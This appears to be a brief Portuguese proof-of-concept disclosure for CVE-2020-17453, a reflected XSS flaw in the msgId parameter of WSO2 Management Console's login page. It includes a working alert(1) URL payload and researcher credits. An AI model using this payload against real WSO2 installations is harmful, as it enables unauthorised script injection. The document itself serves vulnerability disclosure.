
PoC (Proof of Concept) - CVE-2020-17453
CVE-2020-17453
WSO2 Management Console até a versão 5.10 permite XSS através do parâmetro msgId em carbon/admin/login.jsp.

https://<empresa>.com/carbon/admin/login.jsp?msgId=%27;alert(1)//
Nome: Jackson Henry
Twitter: @JacksonHHax
Nome: Nicholas Young